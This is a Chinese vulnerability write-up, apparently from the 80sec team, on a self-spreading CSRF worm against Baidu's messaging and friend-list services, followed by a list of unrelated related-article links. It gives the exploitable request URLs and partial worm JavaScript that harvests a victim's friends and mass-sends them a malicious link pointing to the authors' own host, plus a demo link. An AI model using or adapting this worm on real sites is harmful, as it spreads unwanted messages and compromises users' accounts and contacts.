漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞***可以制作Web蠕虫,影响百度所有的用户。
CSRF worm技术分析:
一. 百度用户中心短消息功能存在CSRF漏洞
百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度ID用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任何限制,同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给***利用CSRF漏洞进行***提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:

[url]http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[/url]用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今尚未修补。
二. 百度空间好友json数据泄露问题
百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下
[url]http://frd.baidu.com/?ct=28&un=[/url]用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends
该漏洞可以直接被Javascript劫持技术利用,获取用户的好友信息.
三. 百度认证问题
web***不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。
四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm
CSRF***结合Javascript劫持技术完全可以实现CSRF worm,百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本实现的CSRF蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:
1. 模拟服务端取得request的参数
var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);
省略…………….
定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。
2. 好友json数据的动态获取
var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”[url]http://frd.baidu.com/?ct=28&un=[/url]’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″><\/script>’);
通过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。
3. 感染信息输出和消息发送的核心部分
evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”[url]http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[/url][user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(’x'+i+’=new Image();x’+i+’.src=unescape(”‘+mysendmsg+’”);’);
省略…………….
整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个FOR循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。
4. 注意细节
由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。
5. CSRF Worm DEMO页
这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试,非安全测试的其他行为,80SEC将不负任何责任。测试方法:
将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面
[url]http://www.80sec.com/wish.php?to=[/url]自己的百度用户名
五 CSRF worm安全提醒:
除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,***可以直接通过CSRF***配合各种功能应用针对网站进行CSRF worm***,网站可以参考[url]http://www.80sec.com/csrf-securit.html[/url]文档中的安全提醒做进一步的防范。
百度Hi Csrf蠕虫***:[url]http://www.80sec.com/baidu-hi-scrf-worm-attac.html[/url]

百度Hi Csrf蠕虫***相关推荐

  1. 百度Hi之CSRF蠕虫攻击

    漏洞起因:百度是国内最大的中文搜索引擎.同时百度也提供了百度空间.百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区. 80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效 ...

  2. web安全漏洞之CSRF

    一.CSRF(跨站请求攻击)攻击的原理: 1.攻击原理: 网站使用cookie来存放用户的登录凭证 cookie会在同源的http请求中自动携带 2.基本攻击过程: 用户登录了受信任网站A,并在本地生 ...

  3. 谨慎能捕千秋蝉(二)——CSRF

    CSRF(Cross Site Request Forgery)跨站点请求伪造. CSRF的本质是当重要操作的参数都能被攻击者预测到,才能成功伪造请求. 一.场景演示 下图是一个伪造请求的场景,按顺序 ...

  4. 前端必须懂的计算机网络知识—(XSS、CSRF和HTTPS)

    前端必须懂的计算机网络知识系列文章: DNS服务器和跨域问题 计算机网络的分层模型 IP地址和MAC地址 前端必须懂的计算机网络知识-(跨域.代理.本地存储) 前端必须懂的计算机网络知识-(TCP) ...

  5. 我要学ASP.NET MVC 3.0(十三): MVC 3.0 防止跨站点请求伪造 (CSRF) 攻击

    我要学ASP.NET MVC 3.0(十三): MVC 3.0 防止跨站点请求伪造 (CSRF) 攻击 概述      众所周知,ASP.Net MVC程序在浏览器运行时产生了标准的Html标签,包括 ...

  6. CSRF(跨站请求伪造)详解

    1.什么是CSRF CSRF全称Cross-Site Request Forgery,也被称为 one-click attack 或者 session riding,即跨站请求伪造攻击. 当发现网站存 ...

  7. CSRF跨站点伪造请求攻击之——CSRF钓鱼添加管理员账号及安全防范

    CSRF钓鱼添加管理员账号及安全防范 目录 CSRF钓鱼添加管理员账号及安全防范 本地网络设备 CSRF 攻击 CSRF 无需浏览器案例 burp 添加管理员账号 小结 CSRF 蠕虫模型 同域内 C ...

  8. 前端技术演进(三):前端安全

    这个来自之前做的培训,删减了一些业务相关的,参考了很多资料(参考资料列表),谢谢前辈们,么么哒 ? Web前端安全方面涵盖的内容较多,也是前端项目开发中必须要关注的一个重要部分.在Web站点开发中,如 ...

  9. 想进大厂必须要知道的Web安全问题

    从胡子的长度和忧郁的眼神我察觉到,面前坐着的这位面试官应该有点东西,浑身上下流露着打过 CTF  的气场.我像以往一样,准备花3分钟的时间进行自我介绍.在此期间,面试官面无表情但很有耐心的听着我bil ...

最新文章

  1. thymeleaf 使用页面报错_异常处理-SpringBoot中thymeleaf对应前台页面大于号\小于号使用问题...
  2. vue-router 中导航守卫问题
  3. mybatis框架中的queryWrapper的or查询,联想到MySQL中and 和or的关系
  4. 网络知识:DNS 访问原理详解
  5. 领导者/追随者(Leader/Followers)模型和半同步/半异步(half-sync/half-async)模型
  6. ftp安装包_【干货分享】原来cisco通过FTP,TFTP系统升级是这样做的?
  7. ASP.NET 4.0尚未在Web服务器上注册。您需要手动将Web服务器配置为使用ASP.NET,这样您的网站才能正确运行。...
  8. 字节跳动2019春招笔试——找零(JavaScript)
  9. 为什么300的并发能把支持最大连接数4000数据库压死
  10. 【新手速成】菜鸟如何在三天内完成系统开发
  11. DIAView 嵌入视频监控(海康威视)
  12. 计算机毕业设计Java宠物医院管理系统(源码+系统+mysql数据库+lw文档)
  13. 安装opencv_contrib-3.4.9, fatal error: opencv2/xfeatures2d.hpp: 没有那个文件或目录. 解决方法
  14. 腾讯云云通信TLS后台API在mac上JAVA DEMO搭建
  15. ROG GL552VW BIOS 编程器官方固件
  16. GCC9.4 memset() clearing an object of type with no trivial copy-assignment [-Werror=class-memaccess]
  17. 锂电池】关于4.2V锂电池充电IC的一些记录
  18. 干货!基于常识图谱和混合策略的情绪支持对话系统
  19. Unity 编辑器开发实战【Custom Editor】- FSM Editor
  20. 一键分析Android的BugReport

热门文章

  1. Linux中的mkdir和touch命令
  2. 小米热点显示android,Android 11正式发布 小米、OPPO等用户即将收到推送
  3. 【ps】PS如何拾取颜色、保存颜色
  4. pca 累积方差贡献率公式_PCA的原理及详细步骤
  5. 挂机宝服务器可以做网站不,挂机宝属于云服务器么
  6. 易点易动设备管理系统高效管理海量备品备件
  7. nginx+ffmpeg+flv实现rtsp转rtmp和flv推流(同时拉流)实现浏览器展示监控
  8. python颜色函数_颜色空间及cv2.cvtColor 转换函数
  9. Postman接口测试脚本编写规范
  10. Full Range Limit Range